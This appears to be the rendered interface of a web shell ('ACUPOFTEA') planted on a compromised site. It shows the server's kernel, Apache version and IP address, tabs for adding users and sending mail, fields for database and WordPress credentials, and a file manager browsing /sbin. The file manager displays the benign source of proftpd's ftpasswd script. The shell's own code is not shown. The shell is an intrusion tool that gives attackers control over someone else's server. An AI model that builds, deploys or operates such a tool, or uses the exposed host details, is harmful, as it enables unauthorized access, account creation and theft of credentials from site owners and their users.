System
:
Linux loginstore 5.15.0-187-generic #197-Ubuntu SMP Fri Jul 17 19:17:01 UTC 2026 x86_64
Software
:
Apache/2.4.52 (Ubuntu)
Server
:
190.119.170.206
Domains
:
Cant read /etc/named.conf
Permission
:
[
drwxr-xr-x
]
:
/
sbin
/
10.10.0.71
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for www.loginstore.com made by tabagkayu.
Folder Name
File Name
File Content
File
ftpasswd
#!/usr/bin/perl # --------------------------------------------------------------------------- # Copyright (C) 2000-2020 TJ Saunders <tj@castaglia.org> # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Suite 500, Boston, MA 02110-1335, USA. # # Based on MacGuyver's genuser.pl script, this script generates password # files suitable for use with proftpd's AuthUserFile directive, in passwd(5) # format, or AuthGroupFile, in group(5) format. The idea is somewhat similar # to Apache's htpasswd program. # --------------------------------------------------------------------------- use strict; use Fcntl qw(:flock); use File::Basename qw(basename); use Getopt::Long; # turn off auto abbreviation $Getopt::Long::auto_abbrev = 0; my $program = basename($0); my $default_passwd_file = "./ftpd.passwd"; my $default_group_file = "./ftpd.group"; my $shell_file = "/etc/shells"; #my $default_cracklib_dict = "/usr/lib/cracklib_dict"; my $default_cracklib_dict = "/var/cache/cracklib"; my $cracklib_dict; my $output_file; my $version = "1.3.0"; my @data; my %opts = (); GetOptions(\%opts, 'add-member=s', 'change-home', 'change-password', 'delete-group', 'delete-member=s', 'delete-user', 'des', 'enable-group-passwd', 'file=s', 'F|force', 'gecos=s', 'gid=n', 'group', 'hash', 'h|help', 'home=s', 'l|lock', 'md5', 'm|member=s@', 'name=s', 'not-previous-password', 'not-system-password', 'passwd', 'sha256', 'sha512', 'shell=s', 'stdin', 'uid=n', 'u|unlock', 'use-cracklib:s', 'version', ); usage() if (defined($opts{'h'})); version() if (defined($opts{'version'})); # Per Bug#4171, check if we are on a Linux system, AND it has the # /proc/sys/crypto/fips_enabled file, AND that entry says that FIPS mode is # enabled. If these conditions are met, then neither DES or MD5 will work. # # If either --des or --md5 are specified, OR if no hash is specified, we # need to check. if ((defined($opts{'des'}) || defined($opts{'md5'})) || !defined($opts{'des'}) && !defined($opts{'md5'}) && !defined($opts{'sha256'}) && !defined($opts{'sha512'})) { if (open(my $fh, "< /proc/sys/crypto/fips_enabled")) { my $fips_enabled = <$fh>; close($fh); chomp($fips_enabled); if ($fips_enabled) { die "$program: FIPS mode enabled on your system (see /proc/sys/crypto/fips_enabled), thus --des and --md5 will not be supported. Use --sha256 or --sha512.\n" } } } # check if "use-cracklib" was given as an option, and whether a path # to other dictionary files was given. if (defined($opts{'use-cracklib'})) { # make sure that Crypt::Cracklib is installed before trying to use # it later eval { require Crypt::Cracklib }; die "$program: --use-cracklib requires Crypt::Cracklib to be installed\n" if $@; if ($opts{'use-cracklib'} ne "") { $cracklib_dict = $opts{'use-cracklib'}; } else { $cracklib_dict = $default_cracklib_dict; } } # Make sure that the given --home path exists, and is a directory. if (exists($opts{'home'})) { my $path = $opts{'home'}; unless (-e $path) { die "$program: --home $path does not exist\n"; } unless (-d $path) { die "$program: --home $path is not a directory\n"; } } # make sure that both passwd and group modes haven't been simultaneously # requested if ((exists($opts{'passwd'}) && exists($opts{'group'})) || (exists($opts{'passwd'}) && exists($opts{'hash'})) || (exists($opts{'group'}) && exists($opts{'hash'}))) { die "$program: please use *one*: --passwd, --group, or --hash\n"; } elsif (defined($opts{'passwd'})) { # determine to which file to write the passwd entry if (defined($opts{'file'})) { $output_file = $opts{'file'}; print STDOUT "$program: using alternate file: $output_file\n" } else { $output_file = $default_passwd_file; } # make sure that the required arguments are present die "$program: --passwd: missing required argument: --name\n" unless (defined($opts{'name'})); # check for and handle the --delete-user option. if (defined($opts{'delete-user'})) { open_output_file(); my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name => $opts{'name'}); handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid, gecos => $gecos, home => $home, shell => $shell, delete_user => $opts{'delete-user'}); close_output_file(); # done exit 0; } # check for and handle the --lock option. if (defined($opts{'l'})) { open_output_file(); my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name => $opts{'name'}); my $new_passwd = $pass; # If this password is already "locked", leave it alone if ($new_passwd !~ /^!/) { $new_passwd = '!' . $new_passwd; } handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid, gecos => $gecos, home => $home, shell => $shell, new_passwd => $new_passwd); close_output_file(); # done exit 0; } # check for and handle the --unlock option. if (defined($opts{'u'})) { open_output_file(); my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name => $opts{'name'}); my $new_passwd = $pass; $new_passwd =~ s/^!+//; handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid, gecos => $gecos, home => $home, shell => $shell, new_passwd => $new_passwd); close_output_file(); # done exit 0; } # now check for the --change-password option. If present, lookup # the given name in the password file, and reuse all the information # except for the password if (defined($opts{'change-password'})) { open_output_file(); my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name => $opts{'name'}); handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid, gecos => $gecos, home => $home, shell => $shell); close_output_file(); # done exit 0; } # Now check for the --change-home option. If present, lookup the given name # in the password file, and reuse all the information except for the home. if (defined($opts{'change-home'})) { if (!defined($opts{'home'})) { die "$program: --change-home requires use of --home\n"; } open_output_file(); my ($pass, $uid, $gid, $gecos, $home, $shell) = find_passwd_entry(name => $opts{'name'}); # We trick this function into not prompting for a password by acting # as if we are handling a new password. handle_passwd_entry(name => $opts{'name'}, uid => $uid, gid => $gid, gecos => $gecos, home => $opts{'home'}, shell => $shell, new_passwd => $pass); close_output_file(); # done exit 0; } # check for the --not-system-password option. If present, make sure that # a) the script is running with root privs, and b) perl on the system is # such that getpwnam() will return the system password if (defined($opts{'not-system-password'})) { die "$program: must be user root for system password check\n" unless ($> == 0); } die "$program: --passwd: missing required argument: --home\n" unless (defined($opts{'home'})); die "$program: --passwd: missing required argument: --shell\n" unless (defined($opts{'shell'})); die "$program: --passwd: missing required argument: --uid\n" unless (defined($opts{'uid'})); # As per Flying Hamster's suggestion, have $opts{'gid'} default to --uid # if none are specified on the command-line via --gid unless (defined($opts{'gid'})) { $opts{'gid'} = $opts{'uid'}; warn "$program: --passwd: missing --gid argument: default gid set to uid\n"; } open_output_file(); handle_passwd_entry(name => $opts{'name'}, uid => $opts{'uid'}, gid => $opts{'gid'}, gecos => $opts{'gecos'}, home => $opts{'home'}, shell => $opts{'shell'}, delete_user => $opts{'delete-user'}); close_output_file(); # NOTE: if this process is not running as root, then the file generated # is not owned by root. Issue a warning reminding the user to make the # generated file mode 0400, owned by root, before using it. } elsif (defined($opts{'group'})) { # determine to which file to write the group entry if (defined($opts{'file'})) { $output_file = $opts{'file'}; print STDOUT "$program: using alternate file: $output_file\n"; } else { $output_file = $default_group_file; } # check for and handle the --delete-group option. if (defined($opts{'delete-group'})) { open_output_file(); handle_group_entry( name => $opts{'name'}, delete_group => $opts{'delete-group'} ); close_output_file(); # done exit 0; } # make sure the required options are present if (!defined($opts{'add-member'}) && !defined($opts{'delete-member'})) { die "$program: --group: missing required argument: --gid\n" unless (defined($opts{'gid'})); } die "$program: --group: missing required argument: --name\n" unless (defined($opts{'name'})); open_output_file(); handle_group_entry( gid => $opts{'gid'}, members => $opts{'m'}, name => $opts{'name'}, add_user => $opts{'add-member'}, delete_group => $opts{'delete-group'}, delete_user => $opts{'delete-member'} ); close_output_file(); } elsif (defined($opts{'hash'})) { print STDOUT "$program: ", get_passwd(), "\n"; } else { die "$program: missing required --passwd or --group\n$program: use $program --help for details on usage\n\n"; } # done exit 0; # ---------------------------------------------------------------------------- sub check_shell { my %args = @_; my $shell = $args{'shell'}; my $result = 0; # check the given shell against the list in /etc/shells. If not present # there, issue a message recognizing this, and suggesting that # RequireValidShell be set to off, and that any necessary PAM modules be # adjusted. unless (open(SHELLS, "< $shell_file")) { warn "$program: unable to open $shell_file: $!\n"; warn "$program: skipping check of $shell_file\n"; return; } while(my $line = <SHELLS>) { chomp($line); if ($line eq $shell) { $result = 1; last; } } close(SHELLS); unless ($result) { print STDOUT "\n$program: $shell is not among the valid system shells. Use of\n"; print STDOUT "$program: \"RequireValidShell off\" may be required, and the PAM\n"; print STDOUT "$program: module configuration may need to be adjusted.\n\n"; } return $result; } # ---------------------------------------------------------------------------- sub close_output_file { my %args = @_; if (open(my $fh, "> $output_file")) { if (flock($fh, LOCK_EX|LOCK_NB)) { # flush the data to the file foreach my $line (@data) { print $fh "$line\n"; } # set the permissions appropriately, ie 0440, before closing the file unless (chmod(0440, $output_file)) { flock($fh, LOCK_UN); die("$program: unable to set permissions on $output_file: $!"); } flock($fh, LOCK_UN); unless (close($fh)) { die("$program: unable to close $output_file: $!\n"); } } else { close($fh); die("$program: unable to write $output_file: Locked (in use) by another process\n"); } } else { die("$program: unable to open $output_file: $!\n"); } } # ---------------------------------------------------------------------------- sub find_passwd_entry { my %args = @_; my $name = $args{'name'}; my ($pass, $uid, $gid, $gecos, $home, $shell); my $found = 0; # given a name, find the corresponding entry in the passwd file foreach my $line (@data) { next unless $line =~ /^$name:/; my @fields = split(':', $line); $pass = $fields[1]; $uid = $fields[2]; $gid = $fields[3]; $gecos = $fields[4]; $home = $fields[5]; $shell = $fields[6]; $found = 1; last; } unless ($found) { print STDOUT "$program: error: no such user $name in $output_file\n"; # Restore the file permissions. unless (chmod(0440, $output_file)) { print STDERR "$program: unable to set permissions on $output_file: $!"; } exit 1; } return ($pass, $uid, $gid, $gecos, $home, $shell); } # ---------------------------------------------------------------------------- sub get_salt { my $salt; # The determination of with encryption algorithm to use is done via # the salt. The format and nature of the salt is how crypt(3) knows # how to do its thing. By default, generate a salt that triggers MD5. if (defined($opts{'des'})) { # DES salt $salt = join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64]; } elsif (defined($opts{'sha256'})) { # SHA-256 salt (16 characters) $salt = join '', (0..9, 'A'..'Z', 'a'..'z') [rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62]; $salt = '$5$' . $salt; } elsif (defined($opts{'sha512'})) { # SHA-512 salt (16 characters) $salt = join '', (0..9, 'A'..'Z', 'a'..'z') [rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62]; $salt = '$6$' . $salt; } else { # MD5 salt (16 characters) $salt = join '', (0..9, 'A'..'Z', 'a'..'z') [rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62, rand 62]; $salt = '$1$' . $salt; } return $salt; } # ---------------------------------------------------------------------------- sub get_passwd { my %args = @_; my $name = $args{'name'}; my ($passwd, $passwd2); # If using a DES salt, print an informative message about the 8 character # limit of relevant password characters. if (defined($opts{'des'}) && !defined($opts{'stdin'})) { print STDOUT "\nPlease be aware that only the first 8 characters of a DES password are\nrelevant. Use the --md5, --sha256, or --sha512 options as they do not have\nthis limitation.\n"; } if (defined($opts{'stdin'})) { # simply read in the password from stdin, as from a script chomp($passwd = <STDIN>); } else { # Install a SIGINT handler, for cases where Ctrl-C may be used to abort # the prompt. $SIG{INT} = sub { # Restore the file permissions. unless (chmod(0440, $output_file)) { print STDERR "$program: unable to set permissions on $output_file: $!"; } # Restore the terminal echo behavior, too. system "stty echo"; exit 1; }; # Prompt for the password to be used system "stty -echo"; print STDOUT "\nPassword: "; # Open the tty for reading (is this portable?) open(TTY, "/dev/tty") or die "$program: unable to open /dev/tty: $!\n"; chomp($passwd = <TTY>); print STDOUT "\n"; system "stty echo"; # Prompt again, to make sure the user typed in the password correctly system "stty -echo"; print STDOUT "Re-type password: "; chomp($passwd2 = <TTY>); print STDOUT "\n\n"; system "stty echo"; close(TTY); # Restore default SIGINT handling $SIG{INT} = 'DEFAULT'; if ($passwd2 ne $passwd) { print STDOUT "Passwords do not match. Please try again.\n"; return get_passwd(name => $name); } } if (defined($name) && defined($opts{'change-password'})) { # retrieve the user's current password from the file and compare my ($curpasswd, @junk) = find_passwd_entry(name => $name); my $hash = crypt($passwd, $curpasswd); if ($hash eq $curpasswd) { if (defined($opts{'stdin'})) { # cannot prompt again if automated. Simply print an error message # and exit. print STDOUT "$program: error: password matches current password\n"; # Restore the file permissions. unless (chmod(0440, $output_file)) { print STDERR "$program: unable to set permissions on $output_file: $!"; } exit 2; } else { print STDOUT "Please use a password that is different from your current password.\n"; return get_passwd(name => $name); } } } if (defined($name) && defined($opts{'not-previous-password'})) { # retrieve the user's current passwd and compare my ($currpasswd) = find_passwd_entry(name => $name); my $hash = crypt($passwd, $currpasswd); if (($hash && $currpasswd) && $hash eq $currpasswd) { if (defined($opts{'stdin'})) { # cannot prompt again if automated. Simply print an error message # and exit. print STDOUT "$program: error: password matches previous password\n"; # Restore the file permissions. unless (chmod(0440, $output_file)) { print STDERR "$program: unable to set permissions on $output_file: $!"; } exit 4; } else { print STDOUT "Please use a password that is different from your previous password.\n"; return get_passwd(name => $name); } } } if (defined($name) && defined($opts{'not-system-password'})) { # retrieve the user's system passwd (from /etc/shadow) and compare my $syspasswd = get_syspasswd(user => $name); my $hash = crypt($passwd, $syspasswd); if (($hash && $syspasswd) && $hash eq $syspasswd) { if (defined($opts{'stdin'})) { # Cannot prompt again if automated. Simply print an error message # and exit. print STDOUT "$program: error: password matches system password\n"; # Restore the file permissions. unless (chmod(0440, $output_file)) { print STDERR "$program: unable to set permissions on $output_file: $!"; } exit 4; } else { print STDOUT "Please use a password that is different from your system password.\n"; return get_passwd(name => $name); } } } return "" if ($args{'allow_blank'} and $passwd eq ""); # check for BAD passwords, BLANK passwords, etc, if requested if (defined($opts{'use-cracklib'})) { require Crypt::Cracklib; if (!Crypt::Cracklib::check($passwd, $cracklib_dict)) { print STDOUT "Bad password: ", Crypt::Cracklib::fascist_check($passwd, $cracklib_dict), "\n"; return get_passwd(name => $name); } } my $salt = get_salt(); my $hash = crypt($passwd, $salt); # Check that the crypt() implementation properly supports use of the MD5 # (or other non-DES algorithm), if specified. if (!defined($opts{'des'})) { if (defined($opts{'md5'})) { # if the first three characters of the hash are not "$1$", the crypt() # implementation doesn't support MD5. Some crypt()s will happily use # "$1" as a salt even though this is not a valid DES salt. Humf. # # Perl doesn't treat strings as arrays of characters, so extracting the # first three characters is a little more convoluted (I'm accustomed to # C's strncmp(3) for this now). my @string = split('', $hash); my $prefix = $string[0] . $string[1] . $string[2]; if ($prefix ne '$1$') { print STDOUT "You requested MD5 passwords but your system does not support it. Defaulting to DES passwords.\n\n"; } } elsif (defined($opts{'sha256'})) { # if the first three characters of the hash are not "$5$", the crypt() # implementation doesn't support SHA-256. Some crypt()s will happily use # "$5" as a salt even though this is not a valid DES salt. Humf. # # Perl doesn't treat strings as arrays of characters, so extracting the # first three characters is a little more convoluted (I'm accustomed to # C's strncmp(3) for this now). my @string = split('', $hash); my $prefix = $string[0] . $string[1] . $string[2]; if ($prefix ne '$5$') { print STDOUT "You requested SHA-256 passwords but your system does not support it. Defaulting to DES passwords.\n\n"; } } elsif (defined($opts{'sha512'})) { # if the first three characters of the hash are not "$6$", the crypt() # implementation doesn't support SHA-512. Some crypt()s will happily use # "$6" as a salt even though this is not a valid DES salt. Humf. # # Perl doesn't treat strings as arrays of characters, so extracting the # first three characters is a little more convoluted (I'm accustomed to # C's strncmp(3) for this now). my @string = split('', $hash); my $prefix = $string[0] . $string[1] . $string[2]; if ($prefix ne '$6$') { print STDOUT "You requested SHA-512 passwords but your system does not support it. Defaulting to DES passwords.\n\n"; } } } return $hash; } # ---------------------------------------------------------------------------- sub get_syspasswd { my %args = @_; my $user = $args{'user'}; # test the shadow password support on this system. Some systems, such # as the BSDs, use "transparent shadowing", where the real passwd will # be returned via getpwnam() only if the process has root privs (effective # UID of zero). That check has already been performed. However, other # systems still may not return the password via getpwnam() (such as Linux). # These other systems use a shadow password library of functions, and require # other work to retrieve the password. On these systems, the retrieved # password will be "x". my $syspasswd = (getpwnam($user))[1]; if ($syspasswd eq "" || $syspasswd eq "x") { # do the retrieval the hard way: open up /etc/shadow and iterate # through each line. Yuck. *sigh*. Thanks to Micah Anderson # for working out this issue. open(SHADOW, "< /etc/shadow") or die "$program: unable to access shadow file: $!\n"; while (chomp(my $line = <SHADOW>)) { next unless $line =~ /^$user/; $syspasswd = (split(':', $line))[1]; last; } close(SHADOW); # if the password is still "x", you have problems if ($syspasswd eq "x") { die "$program: unable to retrieve shadow password.\nContact your system administrator.\n"; } } return $syspasswd; } # ---------------------------------------------------------------------------- sub handle_group_entry { my %args = @_; my $gid = $args{'gid'}; my $name = $args{'name'}; my $delete_group = $args{'delete_group'}; my $delete_user = $args{'delete_user'}; my $add_user = $args{'add_user'}; my $passwd; my $members = ""; $members = join(',', @{$args{'members'}}) if (defined($args{'members'})); # check to see whether we should update the fields for this group (because # it already exists), or to create a new entry my $found = 0; my $index = 0; for ($index = 0; $index <= $#data; $index++) { my @entry = split(':', $data[$index]); if ($name eq $entry[0]) { $found = 1; # If we have not been given an explicit password, reuse the existing one. $passwd = $entry[1] unless $passwd; # If we have not been given an explicit GID, reuse the existing one. $gid = $entry[2] unless $gid; # If we have not been given explicit members, reuse the existing ones. $members = $entry[3] if $members eq ''; last; } } unless ($found) { print STDOUT "$program: creating group entry for group $name\n"; } else { print STDOUT "$program: updating group entry for group $name\n"; } # if present, add the members given to the group. If none, just leave that # field blank # prompt for the group password, if requested if (defined($opts{'enable-group-passwd'})) { $passwd = get_passwd(name => $name, allow_blank => 1); } else { $passwd = "x"; } # remove the entry to be updated splice(@data, $index, 1); if ($delete_group) { print STDOUT "$program: entry deleted\n"; return; } if ($delete_user) { $members =~ s/$delete_user//g; $members =~ s/,,/,/g; $members =~ s/^,//g; $members =~ s/,$//g; } if ($add_user) { if (length($members) > 0) { $members .= ",$add_user"; } else { $members = $add_user; } } # Ensure that we have a sorted list of unique members my $uniq_members = { map { $_ => 1 } split(',', $members) }; my $names = join(',', sort { $a <=> $b } keys(%$uniq_members)); # format: $name:$passwd:$gid:$members push(@data, "$name:$passwd:$gid:$names"); # always sort by GIDs before printing out the file @data = map { $_->[0] } sort { $a->[3] <=> $b->[3] } map { [ $_, (split /:/)[0, 1, 2, 3] ] } @data; if ($delete_group) { print STDOUT "$program: entry deleted\n"; } elsif ($found) { print STDOUT "$program: entry updated\n"; } else { print STDOUT "$program: entry created\n"; } } # ---------------------------------------------------------------------------- sub handle_passwd_entry { my %args = @_; my $name = $args{'name'}; my $uid = $args{'uid'}; my $gid = $args{'gid'}; my $gecos = $args{'gecos'}; my $home = $args{'home'}; my $shell = $args{'shell'}; my $delete_user = $args{'delete_user'}; my $new_passwd = $args{'new_passwd'}; # Trim any trailing slashes in $home. $home =~ s/(.*)\/$/$1/ if ($home =~ /\/$/); # Make sure the given home directory is NOT a relative path (what a # horrible idea). unless ($home =~ /^\//) { print STDOUT "$program: error: relative path given for home directory\n"; exit 8; } # check to see whether we should update the fields for this user (because # they already exist), or create a new entry my $found = 0; my $index = 0; for ($index = 0; $index <= $#data; $index++) { my @entry = split(':', $data[$index]); if ($name eq $entry[0]) { $found = 1; last; } } unless ($found) { print STDOUT "$program: creating passwd entry for user $name\n"; } else { print STDOUT "$program: updating passwd entry for user $name\n"; } my $passwd; if (!$delete_user) { if (!$new_passwd) { # check the requested shell against the list in /etc/shells check_shell(shell => $shell); # prompt the user for the password $passwd = get_passwd(name => $name); } else { $passwd = $new_passwd; } } # remove the entry to be updated splice(@data, $index, 1); if ($delete_user) { print STDOUT "$program: entry deleted\n"; return; } # format: $name:$passwd:$uid:$gid:$gecos:$home:$shell push(@data, "$name:$passwd:$uid:$gid:$gecos:$home:$shell"); # always sort by UIDs before printing out the file @data = map { $_->[0] } sort { $a->[3] <=> $b->[3] } map { [ $_, (split /:/)[0, 1, 2, 3, 4, 5, 6] ] } @data; if ($delete_user) { print STDOUT "$program: entry deleted\n"; } elsif ($found) { print STDOUT "$program: entry updated\n"; } else { print STDOUT "$program: entry created\n"; } } # ---------------------------------------------------------------------------- sub open_output_file { my %args = @_; # open $output_file, paying attention to the --force command-line option # If the file already exists, slurp up its contents for later updating. if (-f $output_file) { # make sure we can write/update the file first unless (chmod(0644, $output_file)) { die "$program: unable to set permissions on $output_file to 0644: $!\n"; } if (open(my $fh, "< $output_file")) { if (flock($fh, LOCK_SH|LOCK_NB)) { chomp(@data = <$fh>); flock($fh, LOCK_UN); close($fh); } else { close($fh); die("$program: unable to read $output_file: Locked (in use) by another process\n"); } } else { die("$program: unable to open $output_file: $!\n"); } } # if the --force option was given, just zero out any data that might have # been read in, effectively erasing whatever contents there were. A new # file is generated, anyway -- it's just a question of what data goes into # it @data = () if (defined($opts{'F'})); } # ---------------------------------------------------------------------------- sub usage { print STDOUT <<END_OF_USAGE; usage: $program [--help] [--hash|--group|--passwd] REQUIRED: --passwd, --group, or --hash. These specify whether $program is to operate on a passwd(5) format file, on a group(5) format file, or simply to generate a password hash, respectively. If used with --passwd, $program creates a file in the passwd(5) format, suitable for use with proftpd's AuthUserFile configuration directive. You will be prompted for the password to use of the user, which will be encrypted, and written out as the encrypted string. New entries are appended to the file by default. By default, using --passwd will write output to "$default_passwd_file". Error exit values: To make it easier for wrapper scripts to interact with $program, $program will exit with the following error values for the reasons described: 1 no such user 2 password matches current password 4 password matches system password 8 relative path given for home directory Options: --file Write output to specified file, rather than "$default_passwd_file". -F If the file to be used already exists, delete it and write a --force new one. By default, new entries will be appended to the file. --gecos Descriptive string for the given user (usually the user's full name). --gid Primary group ID for this user (optional, will default to given --uid value if absent). -h Displays this message. --help --home Home directory for the user (required). --des Use the DES algorithm for encrypting passwords. The default is the MD5 algorithm. --md5 Use the MD5 algorithm for encrypting passwords. This is the default. --name Name of the user account (required). If the name does not exist in the specified output-file, an entry will be created for her. Otherwise, the given fields will be updated. --shell Shell for the user (required). Recommended: /bin/false --uid Numerical user ID (required) --change-home Update only the home directory field for a user. This option requires that the --name and --passwd options be used, but no others. --change-password Update only the password field for a user. This option requires that the --name and --passwd options be used, but no others. This also double-checks the given password against the user's current password in the existing passwd file, and requests that a new password be given if the entered password is the same as the current password. --delete-user Remove the entry for the given user name from the file. -l Lock the password of the named account. This option disables a --lock password by changing it to a value which matches no possible encrypted value (it adds a '!' at the beginning of the password). --not-previous-password Double-checks the given password against the previous password for the user, and requests that a new password be given if the entered password is the same as the previous password. --not-system-password Double-checks the given password against the system password for the user, and requests that a new password be given if the entered password is the same as the system password. This helps to enforce different passwords for different types of access. --sha256 Use the SHA-256 algorithm for encrypting passwords. --sha512 Use the SHA-512 algorithm for encrypting passwords. --stdin Read the password directly from standard in rather than prompting for it. This is useful for writing scripts that automate use of $program. -u Unlock the password of the named account. This option --unlock re-enables a password by changing the password back to its previous value (to the value before using the -l option). --use-cracklib Causes $program to use Alec Muffet's cracklib routines in order to determine and prevent the use of bad or weak passwords. The optional path to this option specifies the path to the dictionary files to use -- default path is "$default_cracklib_dict". This requires the Perl Crypt::Cracklib module to be installed on your system. --version Displays the version of $program. If used with --group, $program creates a file in the group(5) format, suitable for use with proftpd's AuthGroupFile configuration directive. By default, using --group will write output to "$default_group_file". Options: --add-member Add the named member to the given group name from the file. Example: \$ ftpasswd --group --file=... --name=ftpd --add-member=bob --delete-group Remove the entry for the given group name from the file. --enable-group-passwd Prompt for a group password. This is disabled by default, as group passwords are not usually a good idea at all. --file Write output to specified file, rather than "$default_group_file". -F If the file be used already exists, delete it and write a new --force one. By default, new entries will be appended to the file. --gid Numerical group ID (required). -h --help Displays this message. -m --member User name to be a member of the group. This argument may be used multiple times to specify the full list of users to be members of this group. --des Use the DES algorithm for encrypting passwords. The default is the MD5 algorithm. --md5 Use the MD5 algorithm for encrypting passwords. This is the default. --name Name of the group (required). If the name does not exist in the specified output-file, an entry will be created for them. Otherwise, the given fields will be updated. --sha256 Use the SHA-256 algorithm for encrypting passwords. --sha512 Use the SHA-512 algorithm for encrypting passwords. --stdin Read the password directly from standard in rather than prompting for it. This is useful for writing scripts that automate use of $program. --use-cracklib Causes $program to use Alec Muffet's cracklib routines in order to determine and prevent the use of bad or weak passwords. The optional path to this option specifies the path to the dictionary files to use -- default path is "$default_cracklib_dict". This requires the Perl Crypt::Cracklib module to be installed on your system. --version Displays the version of $program. If used with --hash, $program generates a hash of a password, as would appear in an AuthUserFile. The hash is written to standard out. This hash is suitable for use with proftpd's UserPassword directive. Options: --des Use the DES algorithm for encrypting passwords. The default is the MD5 algorithm. --md5 Use the MD5 algorithm for encrypting passwords. This is the default. --sha256 Use the SHA-256 algorithm for encrypting passwords. --sha512 Use the SHA-512 algorithm for encrypting passwords. --stdin Read the password directly from standard in rather than prompting for it. This is useful for writing scripts that automate use of $program. --use-cracklib Causes $program to use Alec Muffet's cracklib routines in order to determine and prevent the use of bad or weak passwords. The optional path to this option specifies the path to the dictionary files to use -- default path is "$default_cracklib_dict". This requires the Perl Crypt::Cracklib module to be installed on your system. --version Displays the version of $program. END_OF_USAGE exit 0; } # --------------------------------------------------------------------------- sub version { print STDOUT "$version\n"; exit 0; } # ---------------------------------------------------------------------------
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2026-07-30 06:58:04
..
DIR
-
drwxr-xr-x
2024-02-16 06:37:05
ModemManager
application/x-pie-executable
2.09 MB
-rwxr-xr-x
2024-07-18 02:24:32
a2disconf
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2dismod
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2dissite
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2enconf
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2enmod
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2ensite
text/x-perl
15.89 KB
-rwxr-xr-x
2024-03-18 01:41:27
a2query
text/x-perl
9.64 KB
-rwxr-xr-x
2026-07-06 04:41:46
aa-remove-unknown
text/x-shellscript
3 KB
-rwxr-xr-x
2025-08-15 12:17:13
aa-status
application/x-pie-executable
62.62 KB
-rwxr-xr-x
2025-08-15 12:17:13
aa-teardown
text/x-shellscript
137 B
-rwxr-xr-x
2022-02-10 12:45:25
accessdb
application/x-pie-executable
14.55 KB
-rwxr-xr-x
2022-03-17 07:03:00
add-shell
text/x-shellscript
1.03 KB
-rwxr-xr-x
2022-03-23 01:49:54
addgnupghome
text/x-shellscript
3 KB
-rwxr-xr-x
2026-01-05 10:14:39
addgroup
text/x-perl
37.35 KB
-rwxr-xr-x
2021-01-06 06:16:50
adduser
text/x-perl
37.35 KB
-rwxr-xr-x
2021-01-06 06:16:50
agetty
application/x-pie-executable
55.56 KB
-rwxr-xr-x
2026-03-06 04:10:04
apache2
application/x-pie-executable
740.95 KB
-rwxr-xr-x
2026-07-06 04:41:46
apache2ctl
text/x-shellscript
7.06 KB
-rwxr-xr-x
2024-03-18 01:41:27
apachectl
text/x-shellscript
7.06 KB
-rwxr-xr-x
2024-03-18 01:41:27
apparmor_parser
application/x-pie-executable
1.48 MB
-rwxr-xr-x
2025-08-15 12:17:13
apparmor_status
application/x-pie-executable
62.62 KB
-rwxr-xr-x
2025-08-15 12:17:13
applygnupgdefaults
text/x-shellscript
2.17 KB
-rwxr-xr-x
2026-01-05 10:14:39
arpd
application/x-pie-executable
26.33 KB
-rwxr-xr-x
2026-04-15 07:15:26
arptables
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-nft-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-restore
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
arptables-save
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
auth-otp
application/x-pie-executable
18.54 KB
-rwxr-xr-x
2025-02-05 01:53:13
badblocks
application/x-pie-executable
34.32 KB
-rwxr-xr-x
2023-10-09 01:50:10
bcache-super-show
application/x-pie-executable
14.3 KB
-rwxr-xr-x
2022-03-23 09:42:55
biosdecode
application/x-pie-executable
23.2 KB
-rwxr-xr-x
2024-10-14 08:28:46
blkdeactivate
text/x-shellscript
15.97 KB
-rwxr-xr-x
2024-11-27 07:04:29
blkdiscard
application/x-pie-executable
22.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
blkid
application/x-pie-executable
50.41 KB
-rwxr-xr-x
2026-03-06 04:10:04
blkzone
application/x-pie-executable
34.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
blockdev
application/x-pie-executable
30.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
bridge
application/x-pie-executable
92.49 KB
-rwxr-xr-x
2026-04-15 07:15:26
cache_check
application/x-pie-executable
1.33 MB
